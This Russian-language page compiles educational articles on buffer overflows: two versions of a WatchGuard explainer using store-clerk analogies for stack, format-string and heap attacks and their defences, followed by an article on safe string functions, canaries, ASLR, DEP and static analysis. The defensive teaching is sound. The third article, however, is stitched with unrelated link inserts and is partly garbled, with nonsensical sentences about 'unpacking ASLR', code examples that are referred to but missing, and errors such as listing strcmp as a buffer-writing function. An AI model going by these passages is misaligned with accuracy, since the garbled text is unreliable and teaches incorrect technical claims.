Переполнение буфера: Переполнение буфера для чайников
Содержание
Атаки на сеть через переполнение буфера – технологии и способы борьбы
Сегодня перед специалистами, отвечающими за информационную безопасность корпоративных ресурсов, очень остро стоит проблема атак на сеть путем переполнения буфера. Практически каждую неделю, а иногда и несколько раз в течение одной недели консультанты LiveSecurity (служба сервиса компании WatchGuard) предупреждают о новых уязвимостях, связанных с переполнением буфера.
События, связанные с безопасностью, переполнение буфера, как ни прискорбно встречаются везде, даже в коде, в котором по заверениям разработчиков все потенциальные возможности этой встречи исследованы и устранены. Возможно, вы слышали о таких вариантах переполнения буфера, как формат строки или атаки на хип. В этой статье, используя аналогии из повседневной жизни, я попытаюсь объяснить, как работают эти атаки. Я позаимствую идею, почерпнутую мною из книги Брюса Шнеера Секреты и ложь (Bruce Schneier “Secrets and Lies”), хотя, как типичный хакер, эту идею разовью и обобщу.
Глупый продавец
Шнеер объясняет переполнение буфера, сравнивая компьютерную память с перекидным ежедневником, содержащим инструкции для продавца круглосуточного магазина. На каждой странице написана одна инструкция, например: «Поприветствовать посетителя», «выбить чек», «принять деньги». Предположим, что продавец глуп и может работать, только дослов-но выполняя инструкции.
Все это делает наш магазин уязвимым для простой атаки. Атакующий подходит к стойке и, пока продавец роется в инструкциях, вставляет в них листок, на котором написано: «Взять все деньги из кассы и передать их покупателю». Единственное на что в подобном случае можно надеяться, так это то, что, если продавец точно выполняет все инструкции, то он должен был их запомнить, и, наверное, заметит, что здесь что-то неладно.
По страницам моей памяти…
В отличие от продавцов, компьютеры точно выполняют инструкции и, при этом, вообще лишены чувств. Если атакующий сможет подсунуть компьютеру дополнительные инструкции, он выполнит эти инструкции один в один. Это является основой для нападения, связанного с переполнением буфера.
Существует три разновидности атак, основанных на переполнении буфера: атаки на стек, атаки на формат строки и атаки на хип. Эти разновидности одинаковы по сути, но каждая направлена на разные части памяти компьютера. Для того, чтобы понять различия между этими атаками, я вкратце обрисую как работает компьютерная память.
Когда программа начинает выполняться, операционная система выделяет для нее виртуальную память большого размера. Можно рассмотреть эту память как разграфленную тетрадь, в которой написана программа, начиная со страницы один, где хранятся инструкции и заканчивая данными программы. После того, как программа записана, остается много чистых страниц.
Пустые страницы, находящиеся сразу же за данными программы называются хипом (куча, heap), а те, которые находятся в самом конце тетради, называются стеком. Точно так-же, как если бы вы использовали тетрадь с двух сторон, хип будет расти в сторону конца тетради, а стек – в сторону начала. А тетрадь (то есть виртуальная память) настолько велика, что хип никогда не достигнет стека и наоборот.
Позиции внутри этой виртуальной памяти (страницы в тетради) в программе ли, в стеке, в хипе или между ними, задаются адресами, выраженными в шестнадцатеричном формате. Например, самый старший адрес в памяти размером в два гигабайта будет равным 8FFFFFFF. Небольшие области этого адресного пространства служат для ввода данных в программу. Эти области, которые могут иметь адреса в стеке или хипе, называются буфера-ми. Ага! Мы нашли первую разгадку на пути того, почему атаки называются «переполнения буфера». Если вы услышите, как кто-то говорит «это переполнение буфера в стеке» или «это нападение на стек» или «это переполнение буфера хипа» — это значит, он хочет указать на проблему с памятью, выделенной программе.
Атаки на стек
В стеке хранятся временные данные. Вновь мы можем проиллюстрировать это примером из книги Шнеера. Предположим, что вы пишете заметки по проекту, над которым вы работаете, когда звонит телефон. Звонящий сообщает некую информацию, которую вы у него запрашивали, следовательно, вы берете новый листок бумаги, кладете его поверх первого и записываете эту информацию. Прежде чем вы успеваете завершить разговор, в комнату входит начальник, привлекает ваше внимание и просит вас сделать кое-что по окончании звонка. Вы берете еще один листок бумаги и записываете на него просьбу начальника. Теперь у вас есть небольшая стопка (стек) листков бумаги, с написанными на них инструкциями и данными. Как только вы выполняете очередное задание, вы сминаете листок и бросаете его в мусорную корзину. Вы используете стек таким же образом, как и в случае с атакой, направленной на переполнение буфера.
Если мы будем говорить о компьютерах, то там, конечно, нет листков бумаги, а есть просто память (RAM). Данные действительно добавляются в стек сверху и потом извлекаются. При атаке «переполнение буфера», направленной на стек, нарушитель добавляет в него больше данных, чем предусмотрено, при этом лишняя часть перезаписываются поверх данных, для которых разработчик программы не предусмотрел такой вариант.
Например, давайте пред-положим, что при исполнении программы она дошла то такой стадии, на которой необходимо использовать почтовый индекс из Web формы, заполненной пользователем. Длина даже самого длинного почтового индекса не превышает двенадцати символов. Но в нашем примере Web форму заполняет нарушитель. Вместо того, чтобы ввести почтовый код он 256 раз вводит букву «А», а за ней пишет определенные команды. После того, как программа получает эту сверхдлинную строку, бессмысленные данные переполняют буфер, выделенный для постового индекса (как вы помните, буфер – это область памяти, зарезервированная для ввода данных) и команды атакующего попадают в стек.
Также как и в случае с вором, подсовы-вающим инструкцию «Отдай мне все деньги» в круглосуточном магазине, атака типа «переполнение буфера» подкладывает инструкции, которые программа в обычных условиях не должна выполнять. Будучи дословным исполнителем, компьютер не сможет выполнить неверные инструкции – программа завершится аварийно. Если же инструкции точны — программа слепо выполнит команды атакующего.
В идеале, программисты защищаются от атак, связанных с переполнением буфера путем проверки размерности всех данных, поступающих в программу, и того, что они не превысят тот размер памяти, который для них предусмотрен. (В приведенном выше примере с почтовым индексом, программа должна быть написана так, чтобы не вводить больше двенадцати символов).
На практике же программисты часто забывают о том, что программу могут атаковать или что данные могут поступать из «ненадежных» источников. Чем больше и сложнее становится программа, тем больше вероятность того, что произойдет атака.
Атаки на формат строки
Атаки на формат строки также используют стек, но требуют гораздо меньше изменений, чем переполнение буфера стека, которое мы обсуждали ранее. Форматирование означает подготовку каких-либо данных к отображению или печати. Однако, инструкции форматирования так гибки, что некоторые нарушители нашли способы использовать их для записи в память. Атаки на формат строки обычно добавляют в память адрес, указывающий на другую ссылку, по которой нарушитель добавляет свои исполнимые инструкции.
Используя нашу аналогию с «глупым продавцом», предположим, что его книга с инструкциями содержит 25 страниц. Предположим также, что после страницы с инструкцией, гласящей «возьми у покупателя деньги и открой кассу», вор вставил инструкцию «Перейди на страницу 26». Вор мог подготовить несколько страниц с инструкциями типа «Отдай покупателю все деньги», «Дай ему уйти и не поднимай тревоги» и поместить их в конец книги. Если глупый продавец будет следовать этим указаниям, это будет аналогично программе, которая перешла по указанному адресу в памяти и выполнила все найденные там инструкции.
Кучи проблем
Атаки на хип совершенно не затрагивают стек. Вспомните аналогию с заметками (проект, телефон, начальник) — стек использует временную память. В противоположность этому хип – это название, данное программистами памяти, которая не является временной, а должна быть готовой к использованию в течение работы программы. Страницы хипа могут быть считаны или записаны и этим удачно пользуются хакеры. Они пишут инструкции атаки в страницы хипа и затем заставляют компьютер выполнять их. Технически — это не отличается от атаки на стек.
Защита: о жуках и канарейках
Мы уже знаем, что является наилучшей защитой от подобного вида атак – это грамотное программирование. В идеале, каждое поле в каждой программе должно позволять только заданное число символов (концепция, известная как «проверка границ») заданного типа (почему, например, программа должна позволять вводить буквы или метасимволы типа % для телефонного номера). Также мы знаем, что программы несовершенны, они содержат ошибки, а некоторые из этих ошибок позволяют проводить атаки. Поскольку программы несовершенны, программисты придумали схемы защиты от атак, связанных с переполнением буфера.
Простейшая схема основана на том, что в стеке и хипе должны быть только данные, компьютер никогда не должен выполнять найденные там инструкции. Этот подход прекрасно работает во многих UNIX-системах, однако, он не может использоваться в Windows. Более того, эта схема заставляет UNIX-администраторов изменять параметры конфигурации на каждом сервере. Легче всего это сделать на неинтеловских процессорах (например Sun Microsystem\’s Sparc).
Другая популярная схема защищает от переполнения буфера, но, только того, который связан со стеком. Эта защита основана на использовании «канареек». Помните рассказы про шахтеров, которые брали с собой в угольные шахты канареек? В шахтах часто выделяется опасный газ — метан, который не имеет запаха и ядовит. Если шахтеры будут углублять шахту в ту сторону, где выделяется метан, канарейки умрут первыми, чем дадут шахтерам шанс покинуть опасную зону.
«Канарейка» в стеке защищает его будучи помещенной в критические места памяти (около адресов возврата, которые являются критическими местами в стеке, указывая компьютеру какие команды выполнять после завершения текущей функции). Перед использованием адресов возврата программа проверяет в порядке ли «канарейка». Если «канарейка» уничтожена, программа завершает работу, сообщая об ошибке.
Идея использования «канареек» принадлежит группе разработчиков Linux, создавших версию Linux (Immunix.com), использующую Stackguard для встраивания «канареек» в операционную систему и прилагающиеся программы. Новый компилятор Microsoft для среды Visual C тоже имеет возможность добавлять «канареек» в стек.
«Канарейки», конечно, помогают, но не могут полностью защитить от атак на хип. Атаки на хип совершенно не затрагивают стек и обходят «канареек». Таким образом, программисты должны создавать такой код, который позволяет копировать в буфер только то количество данных, на которое он был рассчитан (или, другими словами, писать программы правильно). Этот способ является наиболее эффективной защитой.
Что вы можете сделать с переполнением буфера
Проблему переполнения буфера сегодня можно попытаться решить, используя специализированные аппаратные или программные решения. Довольно таки хорошо с подобными проблемами можно справиться используя межсетевые экраны, в том числе и включенные в UTM-устройства WatchGuard Firebox. Пользователи этих устройств имеют дополнительный рубеж обороны, который заключается в следующем.
Когда Вы настраиваете свой межсетевой экран на использование служб прокси, это ПО отслеживает использование чрезвычайно длинных входных данных для защищаемых сервисов: электронной почты, HTTP, FTP и DNS. Не являясь идеальной защитой, прокси, тем не менее, могут остановить многие атаки, на-правленные на переполнение буфера. Если вы используете пакетные фильтры, даже с динамическим анализом, вы лишаетесь этого преимущества.
Службы прокси WatchGuard функционируют следующим образом: они аккуратно исследуют протоколы, которые призваны наблюдать. Если пакеты или команды, отличаются от обычных, правомерных, используемых наблюдаемым протоколом, то служба прокси разорвет соединение с источником несоответсвия. При включенной службе обнаружения аномалии протокола, служба прокси сделает больше, чем в обычном случае – она не только разорвет соединение, но и добавит адрес клиента в список блокированных источников. Попытки соединения этого клиента с системой будут игнорироваться, пока не истечёт время автоматического блокирования.
Во время FTP-сеанса клиент и сервер общаются при помощи коротких сообщений. Клиент обращается к серверу, выясняя, готов ли тот обмениваться бинарными файлами, после чего, в случае положительного ответа, клиент аутентифицируется и может использовать другие команды для взаимодействия с файлами. Служба FTP прокси следит за тем, чтобы от клиента исходили только правомерные команды. Она также устанавливает ограничения на длину командных аргументов с целью защиты от возможного переполнения буфера, если со стороны клиента исходят слишком длинные команды.
При взаимодействии с DNS сервером, клиент посылает запрос, сервер его выполняет, тем самым отвечая клиенту. Служба DNS прокси следит за тем, чтобы форма запроса была заполнена корректно, проверяя длину запроса. Слишком короткие или чересчур длинные запросы вызывают ошибки переполнения буфера в DNS серверах. Кроме того, DNS прокси удостоверяется в корректности заполнения остальных частей формы.
Служба SMTP прокси проверяет, что бы все строки, полученные при использовании этого протокола, являлись его частью. Служба также следит за тем, чтобы ни одна строка не была длиннее, чем заранее задано. Количество символов можно изменить при помощи WatchGuard Policy Manager, по умолчанию оно равно 1000. По длине адреса документом RFC 2822 рекомендовано ограничение в 256 символов. Чем больше это ограничение, т.е. чем короче адрес, тем сложнее произвести атаку.
Также служба прокси проверяет и содержимое электронного письма на наличие запрещённого содержимого и определенных расширений файлов.
Хочется надеяться на то, что эта маленькая статья помогла вам понять, что такое атаки направленные на переполнение буфера, каковы разновидности этих атак, каковы применяемые контрмеры и почему даже эти контрмеры не всегда работают. Но помните, что вы не беззащитны. Если ваш межсетевой экран поддерживает шлюзы приложений или прокси, используйте их. Когда служба информирования LiveSecurity предупреждает вас о критичных уязвимостях, связанных с переполнением буфера, используйте заплатки для приложений. Используйте эти меры, Ваши новые знания о переполнениях буфера и все будет в порядке.
Материал подготовлен специалистами компании Rainbow Technologies и WatchGuard Technologies на основании публикаций автора Rik Farrow, специалиста по компьютерной безопасности.
Использование материалов данной статьи без согласования с компанией Rainbow Technologies запрещено.
Основы. Что такое переполнение буфера
Почти каждую неделю, иногда даже пару раз в неделю LiveSecurity предупреждает пользователей о новых факторах уязвимости, связанных с переполнением буфера.
Переполнение буфера — весьма распространенный тип атаки; встречается даже в коде, где, по утверждению поставщика, были найдены и уничтожены все потенциальные угрозы. Возможно, вы также слышали о таких разновидностях переполнения буфера, как атаки на функции форматирования строк и атаки на кучи. В данной статье при помощи аналогий из повседневной жизни я объясню принципы этих атак. Я позаимствовал идею из книги Брюса Шнайера «Секреты и ложь» (Bruce Schneier, Secrets and Lies), хотя, как истинный взломщик, я скорректирую и обобщу эту идею.
Глупый работник
Шнайер объясняет переполнение буфера, сравнивая память компьютера с блокнотом из отдельных листков, где содержатся инструкции для работника магазина самообслуживания. На каждой странице приводится одна инструкция, например «Поприветствуйте клиента», «Пробейте чек», «Примите оплату» и т.п. Предположим, что работник магазина не блещет умом и точно следует инструкциям.
Это делает магазин уязвимым для простой атаки. Злоумышленник подходит к прилавку и, пока работник перелистывает инструкции, незаметно вкладывает страницу с указанием «Выньте все деньги из кассового аппарата и передайте их клиенту». Можно надеяться, что, поскольку работник следует инструкциям, он заметит здесь ошибку, верно?
На страницах моей памяти…
В отличие от большинства работников магазина компьютеры точно следуют инструкциям и совершенно лишены здравого смысла. Если злоумышленник сможет незаметно добавить дополнительные инструкции, то компьютер неукоснительно выполнит их. В этом и заключается смысл атаки типа «переполнение буфера».
Существуют три распространенных варианта переполнения буфера: атаки на стек, атаки на функции форматирования строк и атаки на кучи. Все атаки сходны между собой, но воздействуют на разные участки компьютерной памяти. Чтобы вы смогли понять различия между этими видами атак, я в общих словах расскажу, как работает память компьютера.
Когда программа начинает выполняться, операционная система выделяет ей огромный участок виртуальной памяти. Это напоминает чистую книгу, в которую записывается программа, начиная с инструкций и заканчивая данными. По завершении этой операции записи в книге остается много пустых страниц. Пустые страницы сразу же после данных программы называются «кучей», а в самом конце книги — «стеком». Куча растет по направлению к концу книги, а стек — по направлению к началу, как если бы вы использовали блокнот с обоих концов. «Книга», то есть виртуальная память, настолько велика, что куча никогда не достигает стека и наоборот.
Расположения внутри виртуальной памяти («страницы» блокнота) — в программе, стеке, куче или между ними — определяются адресом, который выражается шестнадцатиричными символами; например, наибольший адрес в памяти объемом два гигабайта будет 8FFFFFFF. Небольшие участки этого адресного пространства зарезервированы для ввода данных в программу. Эти участки, которые могут иметь адреса в стеке или куче, называются буферами. Ага! Мы нашли первую причину того, почему такие атаки называются «переполнением буфера». Такие фразы, как «это переполнение буфера в стеке», «это срыв стека» или «это переполнение буфера в куче», уточняют место возникновения проблемы внутри памяти, выделенной определенной программе.
Атаки на стек
В стеке хранится временная информация. Опять же можно проиллюстрировать принципы его работы, воспользовавшись примером из книги Шнайера. Представьте, что вы пишите заметки о проекте, над которым работаете, и вдруг звонит телефон. Звонящий предоставляет запрошенные вами сведения, поэтому вы берете еще один лист бумаги, помещаете его поверх первого и записываете данные. Вы еще не положили трубку, когда входит ваш начальник, отвлекает ваше внимание и просит что-то сделать, когда вы закончите разговор. Вы берете еще один листок и записываете просьбу начальника. Теперь у вас есть небольшая стопка бумаги (стек), где на каждом листе записаны инструкции и данные. Завершая каждую задачу, вы сминаете соответствующий листок и бросаете в мусорную корзину. Вы используете стопку бумаги (стек) во многом так же, как и при переполнении буфера.
В компьютере, конечно, нет листов бумаги — только память (ОЗУ). Данные действительно добавляются на вершину стека, а затем удаляются. При атаке с переполнением буфера в стеке взломщик добавляет в стек больше данных, чем ожидалось, перезаписывая информацию, которую, по убеждению программиста, никогда нельзя будет заменить. Например, в ходе своего выполнения программа достигла этапа, когда ожидается использование почтового индекса, получаемого из веб-формы, которая заполняется заказчиками. Даже самый длинный почтовый индекс содержит менее двенадцати знаков. Но в данном случае веб-форму заполнил злоумышленник. Вместо того, чтобы указать почтовый индекс, он 256 раз ввел букву «А», а затем — несколько команд. Когда программа получает эту слишком длинную строку, бессмысленные данные переполняют буфер, выделенный для почтового индекса (напоминаю, что буферы — это участки памяти, зарезервированные для ввода данных), и команды злоумышленника попадают в стек. Так же как грабитель магазина незаметно вставляет страницу «Отдайте мне деньги», при переполнении буфера в программу добавляются инструкции, которые она обычно не выполняет. Конечно, компьютер воспринимает инструкции буквально, и, если они неидеальны, произойдет сбой программы. Если же инструкции безупречны, программа слепо выполняет команды злоумышленника.
В идеале программисты защищаются от переполнения буфера, оценивая все данные, поступающие в программу, и гарантируя их соответствие специально выделенной памяти. (В приведенном выше примере с почтовым индексом можно было бы задать в программе отбрасывание всех введенных данных после двенадцатого символа). В реальной жизни программисты часто забывают о злоумышленниках или иногда не полностью осознают, что ожидаемые программой данные поступают из ненадежного источника. Чем крупнее и сложнее становится программа, тем чаще случается непредвиденное.
Атаки на функции форматирования строк
Атака на функции форматирования строк также влияет на стек, но подразумевает гораздо меньшие изменения, чем переполнение буфера в стеке, которое мы уже обсудили. Форматирование заключается в подготовке данных для отображения на экране или для печати, но инструкции по форматированию настолько гибки, что некоторые злоумышленники нашли способы использования это процесса для записи в память. При атаке на функции форматирования строк в память обычно добавляется один адрес, который указывает на другой адрес в памяти, куда злоумышленник добавил новые команды. Вернемся опять к нашей аналогии с глупым работником и предположим, что книга инструкций содержит 25 страниц, но сразу после страницы «Возьмите деньги клиента и откройте кассовый аппарат» грабитель вставил инструкцию «Перейдите прямо на страницу 26». Грабитель мог подготовить инструкции на нескольких страницах, например «Отдайте клиенту всю наличность» и «Дайте клиенту спокойно уйти», и поместить их в конец книги. Если глупый работник следует этим указаниям, это аналогично тому, что происходит, когда злоумышленник заставляет программу перейти к определенному адресу в памяти и выполнять все инструкции, содержащиеся там.
Кучи проблем
Атака на кучи совсем не затрагивает стек. Вспомним аналогию с выбрасываемыми заметками: стек использует временную память. В отличие от него «кучей» в программировании обозначается память, которая не является временной, а предназначена для использования в ходе выполнения программы. Данные можно считывать со страниц кучи и записывать на них, и злоумышленники пользуются этим, вставляя вредоносные команды на страницы кучи, а затем обманом заставляя компьютер следовать этим инструкциям. Эта атака принципиально ничем не отличается от атаки на стек, за исключением того, что она происходит в куче, а не в стеке.
Способы защиты: жучки и канарейки
Мы уже знаем, что лучший способ защиты от любых атак подобного типа — безупречно написанные программы. В идеале каждое поле в любой программе должно разрешать ввод только определенного количества символов (принцип контроля границ) и только ожидаемых символов (почему программа должна принимать буквы или метасимволы, такие как %, в телефонном номере?). Мы также знаем, что программы неидеальны, в них есть ошибки (англ. «bugs» — жучки), некоторые из которых создают возможности для атак. Поскольку программы небезупречны, программисты придумали схемы для защиты от переполнения буфера.
Простейшая схема предписывает компьютеру использовать стек и кучу только для данных и никогда не выполнять инструкции, обнаруженные в стеке и в куче. Хотя такой подход отлично работает во многих системах UNIX, его нельзя использовать в системах Windows. Более того, эта схема заставляет системного администратора UNIX изменять параметры конфигурации на каждом отдельном сервере. Этот способ защиты проще использовать на отличных от Intel процессорах (например, на процессорах Sparc компании Sun Microsystem).
Другая популярная схема защищает от атак типа переполнение буфера, но только от тех, что перезаписывают стек. Этот прием заключается в использовании осведомителя (англ. «canary» — канарейка). Помните истории о шахтерах, которые брали с собой в угольные шахты канареек? В угольных шахтах часто случаются выбросы метана, который не имеет запаха, но вызывает потерю сознания и в итоге удушье. Если новый участок выработки содержал метан, то канарейка первой теряла сознание. Это служило шахтерам предупреждением, что нужно покинуть эту зону.
Для защиты стека осведомитель вставляется в чувствительные области памяти (рядом с адресами возврата в стеке, при помощи которых компьютер узнает, где находятся очередные команды, подлежащие выполнению, после завершения текущей функции). Перед использованием обратных адресов программа проверяет состояние осведомителя. Если осведомитель был затерт, это свидетельствует о неполадках, и программа завершает свою работу.
Общая идея применения осведомителей принадлежит группе разработчиков Linux, которые создали версию Linux (Immunix.com), использующую Stackguard для добавления осведомителей во все компоненты операционной системы и входящие в нее программы. Новый компилятор для среды Visual C от Microsoft также позволяет добавлять осведомителей в стек.
Осведомители действительно помогают, но они не могут защитить от атак на кучи. Атаки на кучи не влияют на стек вовсе, поэтому осведомители не позволяют обнаружить их. Программисты должны написать код, который будет копировать в буфер ровно столько данных, сколько он может вместить (то есть, другими словами, нужны идеальные программы). Это самый эффективный способ защиты.
Как защититься от переполнения буфера
Пользователи устройства Firebox от WatchGuard имеют дополнительную линию защиты. При настройке Firebox для использования шлюзов приложений (которые на языке WatchGuard называются «прокси») программное обеспечение устройства обнаруживает ввод слишком длинных данных в защищенных службах: электронной почте, HTTP, FTP и DNS. Не являясь идеальной защитой, прокси, тем не менее, могут блокировать многие атаки типа переполнения буфера. При использовании вместо прокси фильтрации пакетов, даже с отслеживанием состояния, данное преимущество будет потеряно.
Будем надеяться, этот краткий рассказ поможет вам понять смысл переполнения буфера и других типов атак, а также суть некоторых мер противодействия и причины того, что эти меры не всегда эффективны. Но вы не беззащитны. Если в вашем брандмауэре предусмотрены шлюзы приложений или прокси, используйте их. Когда информационные оповещения LiveSecurity предупреждают вас о наиболее известных факторах уязвимости, связанных с переполнением буфера, внесите исправления в свои приложения. Применяя эти меры и полученные новые сведения о переполнении буфера, вы сможете избежать проблем.
Рик Фэрроу (Rik Farrow), консультант по вопросам Интернет-безопасности
причины, эффективные методы решения проблемы и необходимая защита — RUUD
Содержание статьи:
Все программисты знают о потенциальной угрозе переполнения буфера (buffer) в своих программах. Существует много угроз, связанных с ним, как в новом, так и в старом ПО, независимо от количества выполненных исправлений. Злоумышленники могут воспользоваться такой ошибкой, внедрив код, специально предназначенный для того, чтобы вызвать переполнение начальной части набора данных, а затем записать оставшиеся в адрес памяти, смежный с переполненным.
Данные могут содержать исполняемый код, который позволит злоумышленникам запускать более крупные и сложные программы или предоставлять им доступ к системе. Ошибку очень трудно найти и исправить, потому что ПО кода состоит из миллионов строк. Исправления этих ошибок довольно сложны и, в свою очередь, также подвержены ошибкам, что осложняет процесс устранения.
Определение переполнения буфера
Вам будет интересно:Sandboxie: как пользоваться, описание программы, установка и запуск
Прежде чем искать переполнение, нужно знать, что оно собой представляет. Как следует из названия, эти уязвимости связаны с буферами или выделением памяти в языках, обеспечивающих прямой низкоуровневый доступ к чтению и записи.
При применении языков C и Assembler чтение или запись таких распределений не влечет за собой автоматической проверки границ. В связи с чем, если обнаружено переполнение стекового буфера в данном приложении, не существует проверки на возможность помещения числа байтов в рассматриваемый буфер. В таких случаях программа может «переполнить» его емкость. Это приводит к тому, что данные, записываемые после наполнения, переписывают содержимое последующих адресов в стеке и считывают дополнительные. Переполнение может произойти непреднамеренно из-за ошибок пользователя.
Вам будет интересно:Колдунщики «Яндекса»: что это такое и как пользоваться?
Бывает, что оно вызвано тем, что злонамеренный субъект посылает тщательно созданный вредоносный ввод в программу, которая затем пытается сохранить его в недостаточный буфер. Если при этом будет обнаружено переполнение стекового буфера в данном приложении, избыточные данные записываются в соседний, где перезаписывают любые имеющиеся данные.
Обычно они содержат указатель возврата эксплуатируемой функции — адрес, по которому процесс должен перейти дальше. Злоумышленник может установить новые значения, чтобы они указывали на адрес по выбору. Атакующий обычно устанавливает новые значения, чтобы обозначить место, где расположена полезная нагрузка. Это изменяет путь выполнения процесса и мгновенно передает управление вредоносному коду.
Использование переполнения буфера позволяет злоумышленнику контролировать или завершать работу процесса либо изменять его внутренние переменные. Это нарушение занимает место в топ-25 наиболее опасных программных ошибок мира (2009 CWE/SANS Top 25 Most Dangerous Programming Errors) и определяется как CWE-120 в словаре перечислений слабых системных мест. Несмотря на то что они хорошо изучены, они продолжают наносить вред популярным программам.
Простой вектор использования буфера
При работе с исходным кодом нужно обратить особое внимание, где буферы используются и модифицируются. Особо следует отметить функции, относящиеся к вводу, предоставленному пользователем или другим внешним источником, поскольку они обеспечивают простой вектор для использования, когда обнаружено переполнение стекового буфера. Например, когда юзер задает вопрос «да» или «нет», целесообразно сохранить строковые данные пользователя в небольшом buffer для строки «да», как показано в следующем примере.
Вам будет интересно:Как включить безопасный режим на «Виндовс 7» — пошаговое описание, способы и рекомендации
Глядя на код, видно, что проверка границ не выполняется. Если пользователь вводит «возможно», то программа будет аварийно завершать работу, а не запрашивать у него ответ, который записывается в buffer независимо от его длины. В этом примере, поскольку user answer является единственной объявленной переменной, следующие значения в стеке будут значением обратного адреса или местом в памяти, куда программа вернется после выполнения функции ask Question.
Это означает, что если юзер вводит четыре байта данных, что достаточно для переполнения буфера команд клиента, последует действительный адрес возврата, который будет изменен. Это заставит программу выйти из функции в другой точке кода, чем первоначально предполагалось, и может привести к тому, что ПО будет вести себя опасным и непреднамеренным образом.
Если первым шагом для обнаружения переполнения буфера в исходном коде является понимание того, как они работают, вторым этапом является изучение внешнего ввода и манипуляций с буфером, то третьим шагом будет необходимость узнать, какие функции подвержены этой уязвимости и какие могут действовать как «красные флаги». Функция gets отлично подходит для записи за пределами предоставленного ей buffer. На самом деле это качество распространяется на все семейство связанных возможностей, включая strcpy, strcmp и printf/sprintf, везде, где используется одна из этих функций уязвимости переполнения.
Удаление из кодовой базы
Если обнаружено переполнение стекового буфера в исходном коде, потребуется согласованное удаление их из базы. Для этого надо быть знакомым с безопасными методами работы. Самый простой способ предотвратить эти уязвимости — использовать язык, который их не допускает. Язык C имеет эти уязвимости благодаря прямому доступу к памяти и отсутствию строгой типизации объектов. Языки, не разделяющие эти аспекты, обычно неуязвимы. Это Java, Python и .NET, наряду с другими языками и платформами, не требующими специальных проверок или изменений.
Конечно, не всегда возможно полностью изменить язык разработки. В этом случае используют безопасные методы для работы с переполнением буфера команд. В случае функций обработки строк было много дискуссий о том, какие методы доступны, какие безопасны в использовании, а каких следует избегать. Функции strcpy и strcat копируют строку в буфер и добавляют содержимое одного в другой. Эти два метода демонстрируют небезопасное поведение, поскольку не проверяют границы целевого buffer, и выполняют запись за пределами, если для этого достаточно байтов.
Альтернативная защита
Одной из часто предлагаемых альтернатив являются связанные версии, которые записывают в максимальный размер целевого буфера. На первый взгляд это выглядит как идеальное решение. К сожалению, у этих функций есть небольшой нюанс, который вызывает проблемы. При достижении предела, если завершающий символ не помещается в последний байт, возникают серьезные сбои при чтении буфера.
В этом упрощенном примере видна опасность строк, не оканчивающихся нулем. Когда foo помещается в normal buffer, он завершается нулем, поскольку имеет дополнительное место. Это лучший вариант развития событий. Если байты в переполнения буфера на стеке будут в другом символьном buffer или другой печатаемой строке, функция печати продолжить чтение, пока не будет достигнут завершающий символ этой строки.
Недостаток заключается в том, что язык C не предоставляет стандартную, безопасную альтернативу этим функциям. Тем не менее имеется и позитив — доступность нескольких реализаций для конкретной платформы. OpenBSD предоставляет strlcpy и strlcat, которые работают аналогично функциям strn, за исключением того, что они усекают строку на один символ раньше, чтобы освободить место для нулевого терминатора.
Вам будет интересно:Черный экран после установки драйверов: в чем причина и как устранить сбой?
Аналогично Microsoft предоставляет свои собственные безопасные реализации часто используемых функций обработки строк: strcpy_s, strcat_s и sprintf_s.
Использование безопасных альтернатив, перечисленных выше, является предпочтительным. Когда это невозможно, выполняют ручную проверку границ и нулевое завершение при обработке строковых буферов.
Уязвимости компиляции
В случае если небезопасная функция оставляет открытую возможность переполнение буфера C, то не все потеряно. При запуске программы компиляторы часто создают случайные значения, известные как канарейки (canary), и помещают их в стек, поэтому представляют опасность. Проверка значения канарейки по отношению к ее первоначальному значению может определить, произошло ли переполнение буфера Windows. Если значение было изменено, программа будет закрыта или перейдет в состояние ошибки, а не к потенциально измененному адресу возврата.
Некоторые современные операционные системы предоставляют дополнительную защиту от переполнения буфера в виде неисполнимых стеков и рандомизации размещения адресного пространства (ASLR). Неисполняемые стеки — предотвращение выполнения данных (DEP) — помечают стек, а в некоторых случаях другие структуры как области, где код не будет выполнен. Это означает, что злоумышленник не может внедрить код эксплойта в стек и ожидать его успешного выполнения.
Перед тем как исправить переполнение буфера, распаковывают на ПК ASLR. Он был разработан для защиты от ориентированного на возврат программирования как обходной путь к неисполнимым стекам, где существующие фрагменты кода объединены в цепочку на основе смещения их адресов.
Он работает путем рандомизации областей памяти структур, так что их смещения сложнее определить. Если бы эта защита существовала в конце 1980-х годов, червя Морриса можно было бы не допустить. Это связано с тем, что он функционировал частично, заполняя буфер в протоколе UNIX finger кодом эксплойта, а затем переполнял его, чтобы изменить адрес возврата и указывал на заполненный буфер.
ASLR и DEP усложняют точное определение адреса, который нужно указать, выполняя эту область памяти полностью нерабочей. Иногда уязвимость проскальзывает сквозь трещины, открытые для атаки переполнения буфера, несмотря на наличие элементов управления на уровне разработки, компилятора или операционной системы.
Статический анализ покрытия
В ситуации переполнения buffer есть две решающие задачи. Во-первых, необходимо определить уязвимость и изменить кодовую базу для решения проблемы. Во-вторых, обеспечивают замену всех версий кода уязвимости переполнения буфера. В идеале это начнется с автоматического обновления всех подключенных к интернету систем.
Нельзя предполагать, что такое обновление обеспечит достаточный охват. Организации или частные лица могут использовать программное обеспечение в системах с ограниченным доступом к интернету, требующих ручного обновления. Это означает, что новости об обновлении должны быть распространены среди любых администраторов, которые могут использовать ПО, а патч должен быть легкодоступен для загрузки. Создание и распространение исправлений выполняют как можно ближе к обнаружению уязвимости, что обеспечивает минимизацию времени уязвимости.
Благодаря использованию безопасных функций обработки буфера и соответствующих функций безопасности компилятора и операционной системы можно создать надежную защиту от переполнения buffer. С учетом этих шагов последовательная идентификация недостатков является решающим шагом для предотвращения эксплойта.
Комбинирование строк исходного кода в поисках потенциальных угроз может быть утомительным. Кроме того, всегда есть вероятность, что человеческие глаза могут пропустить что-то важное. Инструменты статического анализа используются для обеспечения качества кода, были разработаны специально для обнаружения уязвимости безопасности во время разработки.
Статический анализ покрытия устанавливает «красные метки» для потенциальных переполнений buffer. Затем их обрабатывают и исправляют отдельно, чтобы вручную не искать в базе. Эти инструменты в сочетании с регулярными проверками и знанием того, как устранить переполнения, позволяют выявлять и устранять подавляющее большинство недостатков до завершения разработки ПО.
Выполнение атаки через root
Ошибки кодирования обычно являются причиной переполнения buffer. Распространенные ошибки при разработке приложений, которые могут привести к нему, включают в себя неспособность выделить достаточно большие буферы и отсутствие механизма проверки этих проблем. Такие ошибки особенно проблематичны в языках C/C++, которые не имеют встроенной защиты от переполнения и часто являются объектами атак переполнения буфера.
